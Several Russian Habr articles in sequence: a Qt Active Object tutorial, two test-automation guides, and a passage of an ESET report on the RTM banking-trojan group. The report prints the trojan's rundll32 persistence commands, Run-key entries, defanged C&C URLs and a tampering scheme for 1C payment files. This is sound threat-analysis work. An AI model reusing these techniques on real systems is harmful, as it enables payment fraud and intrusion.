EventBasedAsyncQDebugPrinter ``` class EventBasedAsyncQDebugPrinter : public QObject { private: Q_OBJECT class PrinterMessageEvent : public QEvent { /*...*/ }; public: explicit EventBasedAsyncQDebugPrinter(QObject *parent = nullptr); QFuture print(const QString& message) ; protected: virtual void customEvent(QEvent \*event) override; }; EventBasedAsyncQDebugPrinter::EventBasedAsyncQDebugPrinter(QObject \*parent) :QObject{ parent } {} QFuture EventBasedAsyncQDebugPrinter::print(const QString &message) { auto task = new PrinterMessageEvent{ message }; auto future = task->promise().future(); qApp->postEvent(this, task); return future; } void EventBasedAsyncQDebugPrinter::customEvent(QEvent \*event) { //C++17-if if(auto message = dynamic\_cast(event); message) { qDebug() << message->message(); message->promise().finish(); } } ``` Имеется такой же метод print, возвращающий future, как и в примере из [первой части](https://habr.com/ru/post/709768/). В этом методе active object сам себе высылает событие. Это нужно, потому что метод print может быть вызван из любого потока, а вот метод customEvent, обрабатывающий событие, будет обязательно вызван в потоке, которому принадлежит этот QObject. Тут нужно отметить тот факт, что метод sendEvent использует QCoreApplication::notify, который не является потокобезопасным. Поэтому, если вы не уверены, что отправитель и получатель события находятся в одном и том же потоке (а здесь мы уверены в обратном), то используйте метод postEvent. Использование такого класса очень похоже на использование класса из примера прошлой части: Применение Active object ``` qDebug() << "Start application"; auto printer = new EventBasedAsyncQDebugPrinter{}; auto printerThread = new QThread{ qApp }; printer->moveToThread(printerThread); printerThread->start(); printer->print("Hello, world!").then(QtFuture::Launch::Async, [printer] { qDebug() << "In continuation"; printer->print("Previous message was printed"); }); ``` Здесь создаётся printer (наш Active object), который затем перемещается moveToThread() в отдельный поток, созданный специально для него. После чего поток запускается (можно переместить и после запуска, эффект не изменится). Стоит понимать, что данный Active object асинхронен, в отличие от предыдущего. Это значит, что для него вообще необязательно использовать отдельный поток. Но гораздо чаще вы будете использовать это свойство для другой цели: создать отдельный поток, который будет обрабатывать одновременно несколько Active object, выполняющих какие-либо высоконагруженные задачи, которые иначе просто блокировали бы основной поток. #### Плюсы * Достаточно устройчивая реализация, которая зачастую при минимальной доработке покроет вообще все ваши потребности. Это ли не счастье. * Максимальное использование встроенных механизмов Qt. * Чтобы удалить все события PrinterMessageEvent из очереди событий, достаточно дёрнуть QCoreApplication::removePostedEvents(printer, PrinterMessageEvent::Type); #### Минусы * Любой гений тактики может повесить event filter на этот Active object, и перекрыть все события. Но это нестрашно, поскольку так можно поломать вообще весь Qt. * Нет встроенного механизма для прекращения приёма входящих сообщений. Можно вставить std::atomic\_flag, который решит все ваши проблемы. Причём, это можно как раз сделать через event-filter (что иногда позволяет красиво блокировать сообщения для active objects, не меняя их самих). Но он не то чтобы нужен. * Необходимо тщательно документировать все классы событий, создаваемые в вашем коде. Причина этому — QEvent::Type, который должен быть различен у всех классов событий. Как минимум из-за метода QCoreApplication::removePostedEvents, который ориентируется на этот тип (хотя и использовать вы его будете чуть реже, чем никогда). Заключение ---------- Эта версия Active object сполна может быть использована в реальном коде. В дальнейшем мы рассмотрим более реалистичные примеры использования паттерна, которые могут быть применены в коде "как есть". Исходный код есть на [GitHub](https://github.com/ilyaBykonya/ActiveObjectExamples/tree/examples/qobject).
https://habr.com/ru/post/710368/
null
ru
null
# Автоматизация тестирования веб-приложений под ключ, без регистрации и смс Часто бывает так, что веб-приложение состоит из большого количества динамически перестраивающихся форм с разным текстом и элементами управления. Тестирование такого приложения превращается в кошмар. Нужно прокликать 100500 страниц и проверить весь функционал… И перед следующим релизом еще раз проверить то же самое… И еще… И завтра опять. В какой то момент проверка начинает занимать больше времени, чем разработка нового функционала. «А как же е2е-тесты?» — спросите вы. Но, во-первых, их еще нужно написать. А во-вторых, перед тем как начать их писать, нужно написать тест-кейсы. Очень много тест-кейсов. Если при чтении этих строк ваш лоб покрылся испариной, не переживайте. В этой статье я поделюсь с вами идеей, как мы в Tinkoff автоматизировали тестирование одного из веб-приложений, не написав при этом ни одного тест-кейса и е2е-теста. ![](https://habrastorage.org/r/w1560/webt/vg/_7/al/vg_7alujkcmr1vpvnfes86eirdo.png) ### Автоматическое написание тест-кейсов Так уж вышло, что тестирование нашего веб-приложения в основном связано с проверками интерфейса. Нужно проверить, что на экране присутствует кнопка, нужный заголовок и текст, а при вводе невалидного значения в **input** появляется сообщение об ошибке. Соответственно, при написании тест-кейса нужно записывать все действия: * «Нажали кнопку» * «Ввели значение ХХХ» * «Выбрали значение YYY в выпадающем списке» и проверки: * «Появился текст: ХХХ» * «Появилось сообщение об ошибке: YYY» * «Появился заголовок: ZZZ» После анализа всего функционала нашего веб-приложения мы выделили около 30 уникальных действий и проверок. Стало понятно, что этот процесс можно автоматизировать. Для этого нужно всего лишь отследить все действия тестировщика на странице и реакцию сайта на эти действия. Начнем с перехвата событий. Чтобы отследить взаимодействие с такими контролами, как кнопка, переключатель и чек-бокс, нужно подписаться на событие click. В каждом фреймворке для этого существуют свои методы. Например, fromEvent в Angular и document.addEventListener в JavaScript и React. Для элементов управления с возможностью ввода, таких как календарь или инпут, изменится только тип события, на которое нужно подписаться: вместо click будет focusout. ``` fromEvent(this.elementRef.nativeElement, 'click') .subscribe(tagName => { if (tagName === 'BUTTON') { this.testCaseService.addAction(`Нажать на кнопку "${action.name}"`); } else if (tagName === 'INPUT-CALENDAR') { this.testCaseService .addAction(`Выбрать дату "${action.name}" "${action.value}"`); } }); ``` Ну и, наконец, самое главное — проверки. То, как сайт должен вести себя в ответ на действия тестировщика. Что обычно проверяет тестировщик? Например, он ввел невалидное значение в **input**, сайт отреагировал на это сообщением об ошибке. Или, допустим, мы нажали на кнопку и в ответ открылся новый экран, изменился заголовок, появился новый текст, перестроились элементы управления. Все эти изменения связаны с изменением в DOM-дереве. Есть много вариантов отследить их. Можно, например, использовать MutationObserver в React и JavaScript или ngAfterViewInit в Angular (проставляя директиву на интересующие элементы формы на сайте). ``` ngAfterViewInit() { const tagName = this.nativeElement.nodeName; const text = this.nativeElement.textContent; if (['SPAN', 'P'].includes(tagName)) { this.testCaseService.addContent(`**Появился текст** "${text}"\n`); } else if (tagName === 'H1') { this.testCaseService.addContent(`**Появился заголовок** "${text}"\n`); } … } ``` Код будет очень сильно зависеть от верстки. Посмотрим на разметку. Эти кнопки взяты из «Гугл-переводчика». ![](https://habrastorage.org/r/w1560/webt/ct/eb/f5/ctebf5n4u2p4djpqzvcv6ebwl_0.png) ``` Текст Документы ``` Несмотря на то что кнопки не представлены в виде тэгов **button**, присмотревшись к разметке, по css-классу “input-button” можно выделить все кнопки на странице, а по вложенному css-классу “text” можно достать названия кнопок. Полдела сделано, осталось только записать все, что мы отследили, в тест-кейс. Мы включаем перехват всех действий на сайте по определенному сочетанию клавиш и только на тестовом контуре. Остановку перехвата всех событий на сайте осуществляем тоже по определенному сочетанию клавиш. Это позволяет начать и остановить автоматическую запись тест-кейса с любого места. ### Автоматическое написание е2е-тестов Если посмотреть на автоматически сгенерированный тест-кейс, то это по сути пользовательские сценарии, приведенные к одному виду. А значит, их можно сконвертировать в е2е-тесты. Можно даже сразу писать е2е-тесты после перехвата всех действий и проверок, минуя тест-кейсы. Сейчас существует большое количество различных фреймворков с gherkin-нотацией, основанных на поведенческих сценариях: SpecFlow, xBehave.net., Cucumber.js, CodeceptJS и т. д. Чтобы получить features из тест-кейса, нужно добавить перед действиями ключевую фразу When и перед всеми проверками Then и And. Получим автоматически сгенерированный е2е-тест: ``` Feature: Автоматически сгенерированный е2е-тест Background: When Авторизуемся "логин" "пароль" Scenario: When Нажать на кнопку "Ответил кто-то другой" Then Переход на экран "Кем приходится клиенту" And Появился заголовок "Ответил кто-то другой" When Выбрать в поле "Кем приходится клиенту" "Родственник" When Выбрать в поле "Уточнение" "Супруг или супруга" When Нажать на кнопку "Продолжить" ``` Чтобы прогон тестов заработал, сгенерированных features мало — нужно написать обработчик для всех действий и проверок. Есть хорошая новость: писать обработчик для каждой фичи не нужно. Как я уже говорила, несмотря на большое количество различных форм на сайте, у нас получилось всего 30 уникальных действий и проверок, а значит, ровно столько же будет и методов в общем обработчике для всех е2е-тестов. Код будет немного отличаться — в зависимости от выбранного фреймворка с gherkin-нотацией и верстки на сайте. Но написание самого обработчика не займет много времени. ``` When('Нажать на кнопку {string}', async function (button: string) { const xpath = "//button"; const btn = await getItemByText(xpath, button); await waitAndClick(btn); }); When('Выбрать дату {string} {string}', async function (label: string, text: string) { const xpath = "//*[contains(text(),'" + label + "')]/ancestor::outline"; await inputSendKeys(currentBrowser().element(by.xpath(xpath)), text); }); ``` Теперь, проверяя очередную задачу, за тестировщика автоматически пишется тест-кейс и прогоняется автоматически сгенерированный е2е-тест. Если кратко, вам нужно: 1. Подписаться на события взаимодействия с элементами управления и реакцию сайта на эти действия (через отслеживание перестроения DOM-дерева). 2. Конвертировать данные из п. 1 в е2е-тесты. 3. Написать общий обработчик для прогона е2е-тестов. Этот подход поможет вам уйти от рутины. Вы сможете автоматизировать написание тест-кейсов и е2е-тестов для простых проверок, связанных с интерфейсом. Мы же пошли еще дальше и проверяем автоматически также запись в БД и отправку в сторонние сервисы. Об этом, а также о версионировании, стеке технологий и даже о проблемах на первом этапе внедрения и их решении я рассказывала на [конференции Heisenbug-2019 в Москве](https://youtu.be/aElDbHjJrV0). В этой статье я постаралась передать основную идею, не вдаваясь в подробности. ### Заключение Сейчас на написание тест-кейса и е2е-теста у нас уходит в среднем 2 минуты — это в 60 раз быстрее первоначальных подсчетов, когда мы хотели писать тест-кейсы и е2е-тесты вручную. Мы не меняли процессы в команде. Больше не нужно было выделять емкость тестирования на написание тест-кейсов и брать в команду автоматизатора. Мы полностью ушли от понятия регресса. Если раньше, при двухнедельном спринте, регресс у нас занимал больше 3 дней, то сейчас регресс занимает время на прогон всех е2е-тестов, а это всего 2 часа. При ручном написании е2е-тестов очень сложно идти параллельно с тестированием. Теперь же е2е-тесты пишутся автоматически во время тестирования задачи, и тестировщику не нужно проверять один и тот же функционал дважды. В результате наша команда, не меняя состав, стала работать намного эффективнее.
https://habr.com/ru/post/499476/
null
ru
null
# Автоматизация тестирования Java EE веб-сервисов с помощью SoapUI и Arquillian Одним из преимуществ веб-сервисов является относительная простота тестирования. Действительно, в простейшем случае все, что нам нужно для проверки работы веб-сервиса – это отправить правильно сформированный HTTP-запрос любым удобным способом и проверить, что вернулось в ответ. С помощью [SoapUI](http://www.soapui.org/) – инструмента для всевозможных видов тестирования веб-сервисов (более подробно о возможностях можно почитать на [официальном сайте](http://www.soapui.org/about-soapui/what-is-soapui-.html)) – этот процесс можно сделать еще удобнее, автоматизировав его: мы можем создать набор тестов, указав в нем, какие запросы следует отправлять, и задав набор правил, которым должны удовлетворять ответы от сервиса. Но, тем не менее, эти тесты мы по прежнему должны будем запускать руками, а душа жаждет полной автоматизации. Действительно, почему бы не запускать эти тесты автоматически при сборке приложения (на CI-сервере или прямо на машине разработчика)? **Disclaimer**Если вы гуру веб-сервисов и Java EE разработки, то наверняка многое в этой статье покажется вам очевидным, но мне в свое время не удалось найти в открытом доступе полноценной инструкции по тому, как это можно реализовать, и информацию (зачастую устаревшую) пришлось собирать по частям из разных статей и руководств. Поэтому я решил объединить все в рамках этой статьи. Возможные альтернативы ---------------------- Прежде чем пытаться автоматизировать запуск SoapUI-тестов, давайте разберемся, какие у нас есть альтернативы. А их по крайней мере две (возможно, для вас какая-то из них окажется более подходящей, чем то, что будет описываться далее в статье): 1. Если ваш сервис по совместительству является EJB-бином, что довольно разумно, то тестировать можно именно вызов метода бина, соответствующего операции веб-сервиса. Плюсами такого подхода является относительная простота (работа с привычными java-объектами, отсутствие лишней сущности в виде SoapUI) и то, что у нас появляется доступ к управлению транзакциями (мы можем в начале теста открыть транзакцию, а по завершении откатить и таким образом всегда иметь «чистую» тестовую базу данных). К минусам можно отнести то, что в этом случае не покрываются такие этапы работы сервиса, как маппинг данных из XML в DTO и обратно, где тоже могут возникать ошибки. 2. Можно сгенерировать клиентские классы для веб-сервиса и реализовать отправку запросов и проверку результатов прямо в java-коде. В принципе, для функциональных тестов это хорошая альтернатива SoapUI, возможно несколько менее декларативная. Ближе к делу ------------ Мы будем использовать Maven как систему сборки и управления проектом и JUnit в качестве фреймворка для тестирования, а наше приложение будет работать на сервере WildFly. Хотя, это не столь принципиально: тоже самое можно было бы сделать, используя TestNG и какой-нибудь другой более или менее распространенный сервер приложений. ### Подопытный Итак, для начала напишем простенький сервис, который, собственно, и будем тестировать: ``` @WebService(name = "Greeter", serviceName = "Greeter", portName = "Greeter", targetNamespace = "my/namespace") public class Greeter { @WebMethod public String hello(String name) { return "Hello, " + name; } } ``` ### SoapUI Далее, создадим в SoapUI проект и добавим туда тест, который будет проверять, что если операции hello нашего веб-сервиса передать «world», то она нам вернет «Hello, world». Не будем вдаваться в подробности этого процесса, поскольку информацию на эту тему легко найти в сети, например, на официальном сайте SoapUI ([тут](http://www.soapui.org/getting-started/your-first-soapui-project.html) и [тут](http://www.soapui.org/getting-started/functional-testing.html)). ![image](https://habrastorage.org/r/w1560/files/532/6bf/71c/5326bf71cc594488b23fa553d0a130d0.png) Не забудем после этого сохранить SoapUI-проект с именем Greeter-soapui-project.xml в папку с тестовыми ресурсами нашего основного проекта. ### Arquillian и JUnit Теперь самое интересное: нужно сделать так, чтобы при сборке, на этапе тестирования, наш сервис деплоился на сервер приложений, и после этого запускались SoapUI-тесты, созданные нами ранее. С этим нам поможет [Arquillian](http://arquillian.org/) – замечательный фреймворк, призванный сделать тестирование Java EE приложений чуть приятнее (знакомство можно начать с [Getting Started Guide](http://arquillian.org/guides/getting_started/) на официальном сайте). Добавим зависимости для всего этого зоопарка в наш pom-файл: ``` soapui http://www.soapui.org/repository/maven2 org.jboss.arquillian arquillian-bom 1.1.8.Final import pom ... junit junit 4.12 test org.jboss.arquillian.junit arquillian-junit-container test org.wildfly.arquillian wildfly-arquillian-container-managed 1.0.1.Final test com.smartbear.soapui soapui 5.1.3 test ``` Отдельно стоит упомянуть про адаптеры для контейнеров/серверов приложений. Более или менее полный список адаптеров приведен на [вики проекта](https://docs.jboss.org/author/display/ARQ/Container+adapters), там же можно посмотреть, какие параметры конфигурации есть для каждого отдельно взятого адаптера. Однако этот список, по всей видимости, не поддерживается (последнее изменение было в августе 2014), поэтому информацию об адаптерах для более свежих версий контейнеров нужно искать отдельно. В целом, все адаптеры можно разделить на три класса: * адаптеры embedded контейнеров, * адаптеры remote контейнеров * и адаптеры managed контейнеров. Managed контейнеры наиболее полезны в CI-окружении, поскольку * в отличии от embedded, являются полноценными контейнерами, что снижает вероятность получить поведение, отличное от того, что будет на продуктиве; * в отличии от remote (пожалуй, это единственное принципиальное различие между ними), предоставляют возможность управления своим жизненным циклом, т.е. в начале выполнения тестов контейнер может быть запущен, а после окончания – остановлен. Поэтому мы остановим свой выбор именно на managed варианте адаптера. Но, помимо CI-окружения, мы хотим запускать тесты и на машинах разработчиков, где сервер может быть запущен еще до начала выполнения тестов. По умолчанию Arquillian будет ругаться на то, что контейнер уже запущен, и, чтобы успокоить его, нам нужно выставить параметр allowConnectingToRunningServer в true, для этого создадим в папке с тестовыми ресурсам конфигурационный файл arquillian.xml следующего содержания: ``` xml version="1.0" encoding="UTF-8"? true ``` Для запуска сервера Arquillian должен знать путь до инсталляции WildFly. По умолчанию он берется из переменной окружения JBOSS\_HOME (но его можно переопределить в arquillian.xml), поэтому не забудем задать ей нужное значение. Теперь, когда мы указали все зависимости и сконфигурировали Arquillian, можно наконец переходить к написанию тестового класса, который и будет выполнять всю работу: ``` // Указываем Arquillian в качестве JUnit раннера @RunWith(Arquillian.class) public class GreeterIT { /* Метод, помеченный аннотацией Deployment, формирует архив, который Arquillian будет деплоить в контейнер перед выполнением тестов. По умолчанию для архива создается обертка, позволяющая выполнить тесты в рамках контейнера. В нашем случае в этом необходимости нет, тесты должны запускаться на стороне клиента, поэтому выставляем testable в false. */ @Deployment(testable = false) public static Archive createDeployment() { /* ShrinkWrap позволяет филигранно создавать микродеплойменты, изолируя части приложения, которые мы хотим протестировать, и уменьшая время деплоя. Но, к сожалению, иногда (особенно в больших приложениях с кучей зависимостей) сложно выделить часть для микродеплоймента, в таком случае можно просто взять архив, заботливо собранный Maven-ом. */ return ShrinkWrap.createFromZipFile(WebArchive.class, new File("target/ws-autotesting.war")); } @Test public void testGreeter() throws Exception { SoapUITestCaseRunner runner = new SoapUITestCaseRunner(); // Указываем SoapUI путь к файлу проекта runner.setProjectFile("src/test/resources/Greeter-soapui-project.xml"); // просим его создавать отчет в формате JUnit runner.setJUnitReport(true); // и еще печатать отчет в консоль runner.setPrintReport(true); // и складывать файлы с отчетами в стандартный для failsafe каталог runner.setOutputFolder("target/failsafe-reports"); runner.run(); } } ``` Нужно отметить, что в SoapUI-проекте в качестве хоста у нас указан localhost, и веб-сервис во время тестов деплоится на локальный managed сервер, поэтому все будет работать корректно. Но если бы мы деплоили на удаленный сервер, то нам нужно было бы переопределить адрес, по которому SoapUI должен слать запросы. В таком случае метод testGreeter стал бы выглядеть так: ``` @Test public void testGreeter(@ArquillianResource URL serverUrl) throws Exception { ... runner.setHost(serverUrl.getHost() + ":" + serverUrl.getPort()); ... } ``` ### Failsafe Теперь осталось только настроить Maven так, чтобы он мог запускать тесты в процессе сборки. С этим нам поможет плагин [Failsafe](http://maven.apache.org/surefire/maven-failsafe-plugin/index.html). Наименование нашего тестового класса оканчивается на «IT», что соответствует конвенции именования интеграционных тестов, запускаемых Failsafe, поэтому остается только сконфигурировать плагин в нашем pom-файле: ``` true ... org.apache.maven.plugins maven-failsafe-plugin 2.18.1 1 false false ${skipITs} integration-test verify ... it false ``` Вот и все! ---------- Теперь Maven будет автоматически запускать выполнение тестов в CI-окружении при сборке с профилем it, а разработчики могут наслаждаться видом green bar в любимой IDE. ![](https://habrastorage.org/r/w1560/files/50f/1fb/63a/50f1fb63a877426e82cfff875be77e2f.png) Все исходники из статьи можно найти на [github](https://github.com/flipp5b/ws-autotesting).
https://habr.com/ru/post/267301/
null
ru
null
# Кибергруппа RTM специализируется на краже средств у российских компаний Известно несколько кибергрупп, специализирующихся на краже средств у российских компаний. Мы наблюдали атаки с применением лазеек в системах безопасности, открывающих доступ в сети целевых объектов. Получив доступ, атакующие изучают структуру сети организации и развертывают собственные инструменты для кражи средств. Классический пример этого тренда – хакерские группировки Buhtrap, Cobalt и Corkow. ![image](https://habrastorage.org/r/w1560/files/acd/3b0/ca2/acd3b0ca2f1745518a17c4ac193e5383.png) Группа RTM, которой посвящен этот отчет, является частью данного тренда. Она использует специально разработанные вредоносные программы, написанные на Delphi, которые мы рассмотрим подробнее в следующих разделах. Первые следы этих инструментов в системе телеметрии ESET обнаружены в конце 2015 года. По мере необходимости группа загружает в зараженные системы различные новые модули. Атаки нацелены на пользователей систем ДБО в России и некоторых соседних странах. **1. Цели** Кампания RTM ориентирована на корпоративных пользователей – это очевидно из процессов, которые атакующие пытаются обнаружить в скомпрометированной системе. В фокусе бухгалтерское ПО для работы с системами дистанционного банкинга. Список процессов, интересующих RTM, напоминает соответствующий список группы Buhtrap, но при этом у группировок различаются векторы заражения. Если Buhtrap чаще использовала поддельные страницы, то RTM – атаки drive-by download (атаки на браузер или его компоненты) и рассылку спама по электронной почте. По данным телеметрии, угроза нацелена на Россию и несколько ближайших стран (Украину, Казахстан, Чехию, Германию). Тем не менее, в связи с использованием механизмов массового распространения, обнаружение вредоносного ПО за пределами целевых регионов не удивляет. Общее число обнаружений вредоносного ПО сравнительно невелико. С другой стороны, в кампании RTM используются сложные программы, что свидетельствует о высокой таргетированности атак. Мы обнаружили несколько документов-приманок, используемых RTM, включая несуществующие контракты, счет-фактуры или документы налогового учета. Характер приманок в сочетании с типом программного обеспечения, на которое нацелена атака, указывает на то, что атакующие «заходят» в сети российских компаний через бухгалтерию. По той же схеме действовала группа [Buhtrap](https://habrahabr.ru/company/eset/blog/255325/) в 2014-2015 гг. ![image](https://habrastorage.org/r/w1560/files/85e/22e/dd1/85e22edd1d2e4680bc5f0871d0afb035.png) В ходе исследования нам удалось взаимодействовать с несколькими С&С-серверами. Полный список команд перечислим в следующих разделах, а пока можем сказать, что клиент передает данные с кейлоггера напрямую на сервер атакующих, с которого затем поступают дополнительные команды. Тем не менее, дни, когда вы могли просто подключиться к командному серверу и собрать все интересующие данные, прошли. Мы воссоздали реалистичные файлы журналов, чтобы получить несколько релевантных команд от сервера. Первая из них – запрос боту для передачи файла 1c\_to\_kl.txt – транспортного файла программы «1С: Предприятие 8», появление которого активно отслеживает RTM. 1С взаимодействует с системами ДБО путем выгрузки данных об исходящих платежах в текстовый файл. Далее файл направляется в систему ДБО для автоматизации и исполнения платежного поручения. Файл содержит платежные реквизиты. Если злоумышленники изменят данные об исходящих платежах, перевод уйдет по подложным реквизитам на счета атакующих. ![image](https://habrastorage.org/r/w1560/files/a67/853/579/a678535797e34686bbc55383f6d176bf.png) Примерно через месяц после запроса этих файлов с командного сервера мы наблюдали загрузку в скомпрометированную систему нового плагина 1c\_2\_kl.dll. Модуль (библиотека DLL) предназначен для автоматического анализа файла выгрузки путем проникновения в процессы бухгалтерского ПО. Мы подробно опишем его в следующих разделах. Интересно, что «ФинЦЕРТ» Банка России в конце 2016 года выпустил бюллетень с предупреждением о киберпреступниках, использующих файлы выгрузки 1c\_to\_kl.txt. Разработчики из 1С также знают об этой схеме, они уже выступили с официальным заявлением и перечислили меры предосторожности. С командного сервера загружались и другие модули, в частности, VNC (его 32 и 64-битные версии). Он напоминает модуль VNC, который ранее использовался в атаках с трояном Dridex. Данный модуль предположительно используется для удаленного подключения к зараженному компьютеру и детальному изучению системы. Далее атакующие пытаются перемещаться в сети, извлекая пароли пользователей, собирать информацию и обеспечивать постоянное присутствие вредоносного ПО. **2. Векторы заражения** На следующем рисунке представлены векторы заражения, обнаруженные в период изучения кампании. Группа использует широкий спектр векторов, но преимущественно атаки drive-by download и спам. Эти инструменты удобны для таргетированных атак, поскольку в первом случае атакующие могут выбирать сайты, посещаемые потенциальными жертвами, во втором – отправлять электронную почту с вложениями напрямую нужным сотрудникам компаний. ![image](https://habrastorage.org/r/w1560/files/3b8/477/1c9/3b84771c92fd45cd8ea94f1f1b232229.png) Вредоносное ПО распространяется в нескольких каналах, включая наборы эксплойтов RIG и Sundown или спам-рассылки, что указывает на связи атакующих с другими киберзлоумышленниками, предлагающими эти сервисы. **2.1. Как связаны RTM и Buhtrap?** Кампания RTM очень похожа на компанию Buhtrap. Закономерный вопрос: как они связаны друг с другом? В сентябре 2016 года мы наблюдали распространение образца RTM при помощи загрузчика Buhtrap. Кроме того, мы нашли два цифровых сертификата, используемых как в Buhtrap, так и RTM. Первый, якобы выданный компании DNISTER-M, использовался для цифровой подписи второй формы Delphi (SHA-1: 025C718BA31E43DB1B87DC13F94A61A9338C11CE) и DLL Buhtrap (SHA-1: 1E2642B454A2C889B6D41116CCDBA83F6F2D4890). ![image](https://habrastorage.org/r/w1560/files/c80/403/6b4/c804036b4c9d4097b5d6acdeb8084fc7.png) Второй, выданный компании Bit-Tredj, использовался для подписи загрузчиков Buhtrap (SHA-1: 7C1B6B1713BD923FC243DFEC80002FE9B93EB292 и B74F71560E48488D2153AE2FB51207A0AC206E2B), а также выгрузки и инсталляции компонентов RTM. ![image](https://habrastorage.org/r/w1560/files/a61/554/cb6/a61554cb6232476691fe31a0c6b5db96.png) Операторы RTM используют сертификаты, общие с другими семействами вредоносного ПО, но у них есть и уникальный сертификат. По данным системы телеметрии ESET, он выдан компании Kit-SD и использовался только для подписи некоторых вредоносных программ RTM (SHA-1: 42A4B04446A20993DDAE98B2BE6D5A797376D4B6). RTM использует такой же как и у Buhtrap загрузчик, компоненты RTM загружается из инфраструктуры Buhtrap, поэтому у групп похожие сетевые индикаторы. Тем не менее, по нашим оценкам, RTM и Buhtrap – разные группировки, как минимум, потому что RTM распространяется разными способами (не только при помощи «чужого» загрузчика). Несмотря на это, хакерские группировки используют схожие принципы работы. Они нацелены на предприятия, использующие бухгалтерское ПО, схожим образом собирают информацию о системе, ищут устройства чтения смарт-карт и разворачивают массив вредоносных инструментов для слежки за жертвами. **3. Эволюция** В этом разделе мы рассмотрим разные версии вредоносного ПО, обнаруженные в ходе исследования. **3.1. Версионность** RTM хранит конфигурационные данные в разделе реестра, наиболее интересна часть botnet-prefix. Список всех значений, которые мы видели в изученных образцах, представлена в таблице ниже. ![image](https://habrastorage.org/r/w1560/files/b67/dc7/3d8/b67dc73d8cfd40caacf8a3aaec19d670.png) Возможно, значения могут быть использованы для записи версий вредоносной программы. Тем не менее, мы не заметили особых различий между версиями, такими как bit2 и bit3, 0.1.6.4 и 0.1.6.6. Более того, один из префиксов существует с самого начала и превратился из типичного домена C&C в .bit домен, как будет показано далее. **3.2. График** Используя данные телеметрии, мы создали график появления образцов. ![image](https://habrastorage.org/r/w1560/files/cbb/94e/180/cbb94e1801b74ddbb0564da89968d1c1.png) **4. Технический анализ** В этом разделе мы опишем главные функции банковского трояна RTM, включая механизмы устойчивости, собственную версию алгоритма RC4, сетевой протокол, шпионский функционал и некоторые другие возможности. В частности, мы сосредоточимся на образцах SHA-1 AA0FA4584768CE9E16D67D8C529233E99FF1BBF0 и 48BC113EC8BA20B8B80CD5D4DA92051A19D1032B. **4.1. Установка и сохранение** **4.1.1. Реализация** Ядро RTM – DLL, библиотека загружается на диск при помощи .EXE. Исполняемый файл, как правило, упакован и содержит код DLL. После запуска он извлекает DLL и запускает ее, используя следующую команду: ``` rundll32.exe “%PROGRAMDATA%\Winlogon\winlogon.lnk”,DllGetClassObject host ``` **4.1.2. DLL** Основная DLL всегда загружается на диск как winlogon.lnk в папке %PROGRAMDATA%\Winlogon. Это расширение файла как правило связано с ярлыком, но файл на самом деле является DLL-библиотекой, написанной на Delphi, названной разработчиком core.dll, как указано на рисунке ниже. ![image](https://habrastorage.org/r/w1560/files/9b4/3c4/0c8/9b43c40c83bf4746b042c468eb38e14d.png) Пример названия DLL F4C746696B0F5BB565D445EC49DD912993DE6361 После запуска троян активирует механизм устойчивости. Это можно реализовать двумя разными способами – в зависимости от привилегий жертвы в системе. При наличии прав администратора, троян добавляет запись Windows Update в реестр HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Команды, содержащиеся в Windows Update, будут выполняться в начале сеанса пользователя. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update [REG\_SZ] = rundll32.exe “%PROGRAMDATA%\winlogon.lnk”,DllGetClassObject host Троян также пытается добавить задачу в Планировщик заданий Windows. Задача запустит DLL-библиотеку winlogon.lnk с теми же параметрами, как указано выше. Права обычного пользователя позволяют трояну добавить запись Windows Update с теми же данными в реестр HKCU\Software\Microsoft\Windows\CurrentVersion\Run\: ``` rundll32.exe “%PROGRAMDATA%\winlogon.lnk”,DllGetClassObject host ``` **4.2. Модифицированный алгоритм RC4** Несмотря на известные недостатки, алгоритм RC4 регулярно используется авторами вредоносных программ. Тем не менее, создатели RTM немного видоизменили его – вероятно, чтобы усложнить задачу вирусных аналитиков. Модифицированная версия RC4 широко используется во вредоносных инструментах RTM для шифрования строк, сетевых данных, конфигурации и модулей. **4.2.1. Различия** Оригинальный алгоритм RC4 включает два этапа: инициализацию s-блока (она же KSA – Key-Scheduling Algorithm) и генерацию псевдослучайной последовательности (PRGA – Pseudo-Random Generation Algorithm). Первый этап предполагает инициализацию s-блока с использованием ключа, на втором этапе исходный текст обрабатывается при помощи s-блока для шифрования. Авторы RTM добавили промежуточный этап между инициализацией s-блока и шифрованием. Дополнительный ключ является переменной и задается в то же время, что и данные для шифрования и дешифрования. Функция, выполняющая этот дополнительный шаг, представлена на рисунке ниже. ![image](https://habrastorage.org/r/w1560/files/261/ac4/a47/261ac4a47a3a49cb9540b1a9c37c81d7.png) **4.2.2. Шифрование строк** На первый взгляд, в основной DLL библиотеке есть несколько доступных для чтения строк. Остальные зашифрованы с использованием описанного выше алгоритма, структура которого показана на следующем рисунке. Мы нашли больше 25 различных ключей RC4 для шифрования строк в проанализированных образцах. Ключ XOR различается для каждой строки. Значение цифрового поля, разделяющего строки, всегда 0xFFFFFFFF. В начале исполнения RTM расшифровывает строки в глобальную переменную. Когда это необходимо для доступа к строке, троян динамически вычисляет адрес расшифрованных строк на основе базового адреса и смещения. Строки содержат интересную информацию о функциях вредоносного ПО. Некоторые примеры строк представлены в разделе 6.8. ![image](https://habrastorage.org/r/w1560/files/598/6ce/dbe/5986cedbe736430aaf87807c65f9e21f.png) **4.3. Сеть** Способ контакта вредоносного ПО RTM с командным сервером меняется от версии к версии. Первые модификации (октябрь 2015 – апрель 2016) использовали для обновления списка команд традиционные доменные имена вместе с каналом RSS на livejournal.com. С апреля 2016 года мы наблюдали в данных телеметрии переход на домены .bit. Это подтверждает дата регистрации доменов – первый домен RTM fde05d0573da.bit был зарегистрирован 13 марта 2016 года. Все URL адреса, которые мы видели во время наблюдения за кампанией, имели общий путь: /r/z.php. Он довольно необычен, и это поможет определить запросы RTM в сетевых потоках. **4.3.1. Канал для команд и управления** Старые образцы использовали этот канал для обновления своего списка командных серверов. Хостинг находится на livejournal.com, на момент подготовки отчета он оставался на URL hxxp://f72bba81c921(.)livejournal(.)com/ data/rss. Livejournal – российско-американская компания, предоставляющая платформу для блогов. Операторы RTM создают ЖЖ-блог, в котором размещают статью с кодированными командами – см. скриншот. ![image](https://habrastorage.org/r/w1560/files/027/5fd/9d9/0275fd9d95f44aad8d9675620bfde39b.png) Строки команд и управления кодируются с помощью модифицированного алгоритма RC4 (раздел 4.2). Текущая версия (ноябрь 2016 года) канала содержит следующие адреса сервера команд и управления: * hxxp://cainmoon(.)net/r/z.php * hxxp://rtm(.)dev/0-3/z.php * hxxp://vpntap(.)top/r/z.php **4.3.2. Домены .bit** В большинстве свежих образцов RTM авторы 